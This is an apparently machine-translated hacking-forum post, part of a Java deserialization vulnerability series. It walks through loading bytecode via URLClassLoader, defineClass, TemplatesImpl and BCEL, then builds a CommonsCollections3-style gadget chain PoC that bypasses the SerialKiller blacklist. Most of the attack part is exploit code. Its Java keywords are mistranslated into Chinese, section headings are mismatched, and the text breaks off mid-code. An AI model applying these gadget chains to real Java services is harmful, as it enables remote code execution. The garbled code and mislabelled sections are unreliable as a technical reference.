H

Java反序列化漏洞系列-4

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

Java反序列化漏洞系列-4​

1 Java 动态加载字节码​

1.1 字节码​

严格地说,Java字节码仅是指通常存储在.class文件中的Java虚拟机执行的一种指令。
众所周知,针对不同平台和CPU的计算机说明是不同的,但是由于Java是一种跨平台汇编语言,因此这些差异与高级开发人员是透明的。高层开发人员只需要一次编译自己的代码即可在不同平台上的JVM虚拟机中运行。

1.2 利用 URLClassLoader 加载远程 class 文件​

使用Java ClassLoader加载字节码文件的最基本方法。 Jiawen主要解释UrlClassloader。在正常情况下,Java将根据配置项目sun.boot.class.path和java.class.path中列出的基本路径加载的.class文件(这些路径是处理Java.net.url类),并且此基本路径分为三个情况:
URL不会以斜线/结尾,被认为是jar文件。使用JARLOADER查找类,也就是说,在JAR软件包中查找.class文件。
URL以斜杠/结尾,协议名称为文件,然后使用Fileloader查找类,也就是说,在本地文件系统中找到.class文件。
URL以斜线/结尾,协议名称不是文件,然后使用最基本的加载程序查找类
当您正常发展时,通常会遇到前两个。何时将使用加载程序查找课程?当然,对于非文件协议,最常见的是HTTP协议。
使用HTTP协议测试以从远程HTTP服务器加载.class文件:
classloader.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
包com.geekby.javavuln;
导入java.lang.reflect.Method;
导入java.net.url;
导入java.net.urlclassloader;
公共类Main {
public static void main(string [] args)抛出异常{
url [] urls={new url('http://localhost:8000/')};
urlclassloader loader=urlclassloader.newinstance(urls);
c=loader.loadclass('Hello');
方法f=c.getMethod('test');
f.invoke(null,null);
}
}
你好
1
2
3
4
5
公共课你好{
公共静态无效测试(){
system.out.println('test');
}
}
执行:
202108301747883.png-water_print

成功请求/hello.class文件,并在文件中执行了字节码,输出“测试”。
因此,如果攻击者可以控制目标Java Classloader作为HTTP服务器的基础路径,则可以使用远程加载执行任意代码。
010-1011
classloader#loadClass
classloader#findClass
classloader#dectereclass
在:
LOADCLASS的功能是从已加载类缓存,父母加载程序等中查找类,并执行FindClass(如果没有找到)。
FindClass的目的是根据基础URL指定的方法加载类的字节码。如上一节中所述,它可以读取本地文件系统,jar软件包或远程HTTP服务器上的字节码,然后将其交给Deceneclass
确切的目的是处理之前传递的字节码并将其处理成真实的Java类
因此,真正的核心部分实际上是确切的阶层,它决定了如何将字节流转换为Java类。 Java的默认classloader#deceneclass是一种本机方法,逻辑位于JVM的C语言代码中。
用一个简单的代码示例演示确定性的加载字节:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
公共类celeclassdemo {
public static void main(string [] args)抛出异常{
方法decareclass=classLoader.class.getDeclaredMethod('decteClass',string.class,byte []。class。class,int.class,int.class);
deconeclass.setaccessible(true);
//读取字节码和base64编码
byte [] b=files.readallBytes(paths.get('hello.class'));
字符串代码=base64.getEncoder()。encodeTostring(b);
//base64解码
byte [] bytecode=base64.getDecoder()。decode(code);
class hello=(class)decteclass.invoke(classLoader.getSystemClassLoader(),'Hello',bytecode,0,bytecode.length);
方法m=hello.getMethod('test',null);
M.Invoke(null,null);
}
}
202108301930989.png-water_print

信息
当调用确定性时,将不会初始化类对象。只有当此对象明确调用其构造函数时,可以执行初始化代码。此外,即使我们将初始化代码放在类的静态块中,也无法在确定性时直接调用。因此,如果您想使用确定符号在目标计算机上执行任意代码,则需要找到一种调用构造函数的方法。
在实际情况下,由于确切方法的范围没有打开,因此攻击者很少直接使用它,但它是常用的攻击链TemplatesImpl的基石。

1.3 利用 ClassLoader#defineClass 直接加载字节码​

如前所述,开发人员将不会直接使用确切方法,但是Java层中仍然有一些使用它的类,例如TemplateSimpl。
com.sun.org.apache.xalan.internal.xsltc.trax.trax.templatesimpl此类定义了内部类TransletClassLoader。此类重写的确切方法是重写的,其定义域在此处没有明确声明。默认情况下,Java中,如果方法没有明确声明范围,则其范围为默认值。因此,此处的重写确定性从其母体类型的类型类型中成为一种默认类型方法,可以在类之外称为。
从TransletClassLoader#decteClass()跟踪呼叫链:
1
2
3
4
5
TemplatesImpl#getOutputProperties()
- TemplateSimpl#NewTransFormer()
-TemplateImpl#getTransletInstance()
-TemplateSimpl#dendetransletClasses()
-TransletClassLoader#decteclass()
追求前两种方法:templateSimpl#getOutputProperties()和templatesimpl#newtransformer()。这两者的范围是公开的,可以在外部称为。尝试使用NewTransFormer()构建一个简单的POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void main(string [] args)抛出异常{
字符串代码='.';
byte [] bytecode=base64.getDecoder()。decode(code);
TemplateSimpl obj=new TemplateSimpl();
//_bytecodes是bytecodes的数组
c=templatesimpl.class;
字段bytecodes=c.getDeclaredField(' bytecodes');
_bytecodes.setAccessible(true);
_bytecodes.set(obj,new byte [] [] [] {bytecode});
//_name可以是任何字符串,只要它不是null
字段name=c.getDeclaredField(' name');
_name.setaccessible(true);
_name.set(obj,'HelloteMplateSimpl');
//固定写作方法
字段tfactory=c.getDeclaredField(' tfactory');
_tfactory.setAccessible(true);
_tfactory.set(obj,new TransformerFactoryImpl());
obj.newtransformer();
}
但是,TemplateSimpl对已加载字体的某些要求:与此字节相对应的类必须是com.sun.org.org.apache.xalan.internal.internal.xsltc.runtime.abstracttranslet的子类。需要构建一个特殊的课程:
1
2
3
4
5
6
7
8
9
10
11
12
公共类Hellotemppaltesimpl扩展了AbstractTranslet {
@Override
public void transform(dom document,serializationhandler []处理程序)抛出transletException {}
@Override
public void变换(dom文档,dtmaxisiterator迭代器,serializationhandler处理程序)抛出transletexception {}
public hellotemppaltesimpl(){
极好的();
system.out.println('Hello templateSimpl');
}
}
202108310934564.png-water_print

TemplateSimpl出现在多个Java避难链中,以及Fastjson和Jackson漏洞中。

1.4 利用 TemplatesImpl 加载字节码​

BCEL的全名是Apache Commons Bcel。它是Apache Commons项目下的一个子项目。但是,由于它是由Apache Xalan使用的,该Apache Xalan是JAVA中JAXP的实现,因此BCEL也包含在本机JDK库中。
使用BCEL提供的两个类存储库和实用程序:用于首先将Java类转换为本机字节码。当然,您可以直接使用Javac命令来编译Java文件以生成字节码;实用程序用于将本机字节码转换为bcel格式字节:
1
2
3
4
5
6
7
8
9
10
11
导入com.sun.org.apache.bcel.internal.repository;
导入com.sun.org.apache.bcel.internal.classfile.utility;
导入com.sun.org.apache.bcel.internal.classfile.javaclass;
公共类Bceldemo {
public static void main(string [] args)抛出异常{
javaclass cls=repository.lookupclass(evil.hello.class);
字符串代码=utility.encode(cls.getBytes(),true);
System.out.println(代码);
}
}
Bcel ClassLoader用于加载此特殊字符串的字节字符串,并可以执行其中的代码:
202108310956413.png-water_print

1.5 利用 BCEL ClassLoader 加载字节码​

在CC1中,TransformedMap用于执行任意方法。如上一节所述,使用TemplateSimpl执行字节码,可以合并两者并构建以下POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
包com.geekby.cc3test;
导入com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl;
导入com.sun.org.apache.xalan.internal.xsltc.trax.trax.transformerfactoryimpl;
导入org.apache.commons.collections.transformer;
导入org.apache.commons.collections.functors.chainedtransformer;
导入org.apache.commons.collections.functors.constanttransformer;
导入org.apache.commons.collections.functors.invokertransformer;
导入org.apache.commons.collections.map.transformedmap;
导入java.lang.reflect.field;
导入java.nio.file.files;
导入java.nio.file.paths;
导入java.util.hashmap;
导入java.util.map;
公共类Main {
public static void main(string [] args)抛出异常{
byte [] code=files.readallBytes(paths.get('hellotemppaltesimpl.class'));
TemplateSimpl obj=new TemplateSimpl();
setFieldValue(obj,'_bytecodes',new byte [] [] [] {code});
setFieldValue(obj,'_name','helloteMplateSimpl');
setFieldValue(obj,'_tfactory',new TransformerFactoryImpl());
变形金刚[]变形金刚=新变压器[] {
新的ConstantTransFormer(OBJ),
新InvokerTransFormer('NewTransFormer',Null,Null)
};
变压器变形金刚=新的链式变形器(变形金刚);
map innermap=new hashmap();
map outermap=transformedmap.decorate(innermap,null,变压链);
outermap.put('test','poc');
}
public static void setFieldValue(Object OBJ,字符串字段名称,对象值)引发异常{
field field=obj.getClass()。getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
但是,在ysoserial中,CC3中未使用InvokerTransFormer。
Serialkiller是一种爪哇式滤波过滤器,可以限制通过黑名单和白名单期间允许通过的类。在发布的代码的第一个版本中,您可以看到它给出了最初的黑名单:
202108311040425.png-water_print

InvokerTransFormer在此黑名单上列出,该黑名单切断了Commonscollections的利用链1。然后,Ysoserial添加了新的小工具,包括Consoncollections3。
Conscollections3的目的是显而易见的,即通过某些规则绕过对InvokerTransFormer的限制。 Consoncollections3不使用InvokerTransFormer调用任何方法,而是使用另一个类,com.sun.org.apache.xalan.internal.xsltc.trax.trax.traxfilter。
该类的构造函数称为(Transformerimpl)spemplates.newtransformer(),它消除了使用InvokerTransFormer手动调用NewTransFormer()方法的步骤。
202108311046468.png-water_print

当然,如果没有InvokerTransFormer,则无法调用TraxFilter的构造函数。通过在org.apache.commons.collections.functors.instantiatetransformer中利用InstantiateTransFormer中的instantiateTransFormer来调用构造函数。
因此,最终目标是使用InstantiateTransFormer调用TraxFilter的构造函数,然后在其构造函数中使用spemplates.newtransformer()在Templ中调用bytecode。
构造的变压器呼叫链如下:
1
2
3
4
变形金刚[]变形金刚=新变压器[] {
新的ConstantTransFormer(Traxfilter.Class),
新的InstantiateTransFormer(NE
 
后退
顶部